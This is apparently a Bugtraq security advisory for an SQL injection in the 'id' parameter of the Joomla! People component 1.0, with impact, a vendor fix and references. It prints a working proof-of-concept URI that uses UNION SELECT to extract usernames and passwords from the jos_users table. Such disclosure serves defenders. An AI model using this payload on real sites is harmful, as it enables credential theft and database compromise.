Joomla! People Component 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	45808
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 14 2011 12:00AM
Updated:	Feb 16 2011 04:19PM
Credit:	Salvatore Fresta
Vulnerable:	PTT Solution People 1.0
Not Vulnerable:	PTT Solution People 1.0.1

Joomla! People Component 'id' Parameter SQL Injection Vulnerability

The People component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

People 1.0.0 is vulnerable; other versions may also be affected.http://www.openwall.com/lists/oss-security/2011/02/16/13

Joomla! People Component 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/path/index.php?option=com_people&controller=people&task=details&id=-1 UNION SELECT username,password,3 FROM jos_users

Joomla! People Component 'id' Parameter SQL Injection Vulnerability

Solution:
The vendor released an update. Please see the references for details.

Joomla! People Component 'id' Parameter SQL Injection Vulnerability

References:

• People Component Changelog (PTTSolution)
  
• People component Homepage (PTT Solution)